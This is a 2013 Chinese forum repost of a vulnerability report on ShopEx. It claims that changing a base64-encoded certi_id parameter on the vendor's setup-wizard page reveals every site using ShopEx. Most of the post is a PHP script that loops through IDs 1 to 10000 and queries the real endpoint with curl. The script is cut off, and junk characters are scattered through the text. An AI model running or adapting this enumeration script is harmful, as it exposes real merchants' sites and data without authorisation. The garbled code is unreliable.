标题: ShopEx某接口缺陷可遍历所有用户网站 [打印本页] 作者: admin 时间: 2013-9-21 15:59 标题: ShopEx某接口缺陷可遍历所有用户网站 简要描述:( n- |$ N5 q2 d* g
ShopEx某接口缺陷,可遍历所有网站% W5 i5 T: n' U
详细说明: , o$ _4 c2 _3 C3 d1 J' {% ?, N问题出现在shopex 网店使用向导页面 3 O3 E: [$ Y# Q S) \) t& K
- R$ T }1 k6 k6 w! v( {+ B* a
% a v4 ?' m) h, U( Y, L 4 i- q2 r: ?7 S; C) f9 F" }http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0= 9 ]& v# c' h& F; E0 @" e5 t1 S ! D4 s9 t* K! [0 I1 h. G' f! a g/ V3 H- D2 O5 Q' h5 E' E & ~) s8 a' [' L8 x8 x# D& grefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}% U( ]0 n+ \8 J/ q- N& }3 t f
, t9 v, T; s& ~) u 5 Q, B5 N8 ^* e. [0 n1 Z 7 j8 Q& R1 f8 ]8 b, V: {5 D我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 9 r# N. e* a( s+ O+ W/ Q2 f. V
4 s9 P! [& K4 [7 y4 H
; _+ ~, U( q1 s% {6 f: A" i
5 o" z0 r. u% Q<?php 4 c2 N6 j4 K9 M4 Z 3 R7 m3 a; x K% [0 t3 B for ($i=1; $i < 10000; $i++) { //遍历 ! K: [& b, V4 m) c# b! X ( k. B. D/ W% b: I# M ShowshopExD($i);' w% q1 O! y$ o
! @* l" k( g6 l& Q: `9 f! D# } }% |9 e L9 l* r( C! q5 _ n8 T. E
4 L2 @6 o% r/ Z0 X$ o$ x
function ShowshopExD($cid) { 4 M- f( @( g! W4 p i2 _( ^. m6 S9 R* i) Q- d+ j6 u
$url='http://guide.ecos.shopex.cn/step2.php';* y9 _% @% m: N2 R
" \% U) X& Q' M+ \, F $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}'); / O$ }2 n ]: R8 \ 5 ^, b ~$ m* J8 b+ L9 ~+ k $url = $url.'?refer='.$refer; ! p2 X1 ?1 Z7 H7 u9 X - w0 O# Z1 F- I3 Z $ch = curl_init($url);: t6 Q! ^4 Z, _+ D
5 t$ p# N6 S- n. f& c9 I! |* d5 f
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;7 f+ n9 @; F; c
) ^* Q# T+ c0 ^: o( a
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ; - y) L% |( j9 H& K # R4 h4 ?; u% q7 {# p* r) v $result = curl_exec($ch);8 k& [$ @) w' i- N( r- |
+ f( r! v X+ L' q $result = mb_convert_encoding($result, "gb2312", "UTF-8"); ' o* d& a5 I* }: S& P, y/ _9 w# O. T2 W3 [; t* G; l4 i
if(strpos($result,$refer)), w1 P: u6 o. |. t